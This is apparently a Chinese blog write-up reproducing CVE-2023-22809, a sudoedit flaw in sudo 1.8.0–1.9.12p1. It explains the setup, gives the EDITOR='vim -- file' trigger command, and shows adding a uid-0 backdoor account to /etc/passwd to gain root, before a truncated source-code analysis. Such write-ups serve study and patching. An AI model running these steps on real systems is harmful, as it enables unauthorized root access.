【漏洞复现】CVE-2023-22809 sudo提权漏洞

本文详细介绍了CVE-2023-22809 sudo编辑器漏洞,这是一个高危漏洞,允许本地攻击者通过sudoedit权限实现提权。漏洞影响sudo 1.8.0到1.9.12p1版本。文章涵盖环境搭建、漏洞检测、分析和提权方法,还提供了补丁信息。攻击者可以通过设置环境变量EDITOR为'vim -- file'来触发漏洞,编辑如/etc/passwd等敏感文件,从而达到提权目的。
摘要由CSDN通过智能技术生成

一、前言

  • 漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
  • 漏洞编号:CVE-2023-22809
  • 漏洞等级:高危
  • 漏洞评分:7.8分
  • 影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
  • 攻击效果:本地提权

二、环境搭建

使用sudo --version查看当前系统下sudo版本

若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo

首先到https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz下载固定版本的sudo,然后下载好后在压缩包对应目录下执行下列命令:

1

2

3

4

wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz

tar -zxvf ./sudo-1.9.12p1.tar.gz

cd sudo-1.9.12p1/

./configure && make && make install

编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内

调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行

然而如果直接sudo gdb,则又不会加载pwndbg插件

sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件

1

2

sudo -E gdb /usr/local/bin/sudo

sudo -E gdb --args /usr/local/bin/sudo ...

三、漏洞检测

搭建好环境后,测试一下漏洞

首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)

1

user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test

这一步是为了满足攻击条件,具体原因会在下面分析提到

然后在命令行中输入

1

EDITOR='vim -- /path/to/file' sudoedit /etc/test

/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述

以修改/etc/shadow为例

先用openssl生成密码

1

2

x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123

$1$xxx$jTt7t9bGmhywOtQCjcQA.1

然后修改/etc/passwd,添加

1

xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash

最后su xxx 然后输入密码123就可以提权了

完成提权

四、漏洞分析

先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode

1

2

3

4

5

6

7

8

9

10

11

12

13

int

main(int argc, char *argv[], char *envp[])

{

    int nargc, status = 0;

    char **nargv, **env_add;

    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;

    const char * const allowed_prognames[] = "sudo""sudoedit", NULL };

    ......

    submit_argv = argv;

    submit_envp = envp;

    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,

        &sudo_settings, &env_add);

}

sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

int

parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,

    struct sudo_settings **settingsp, char ***env_addp)

{

    const char *progname, *short_opts = sudo_short_opts;

    struct option *long_opts = sudo_long_opts;

    struct environment extra_env;

    int mode = 0;                /* what mode is sudo to be run in*/

    int flags = 0;                /* mode flags */

    int valid_flags = DEFAULT_VALID_FLAGS;

    int ch, i;

    char *cp;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值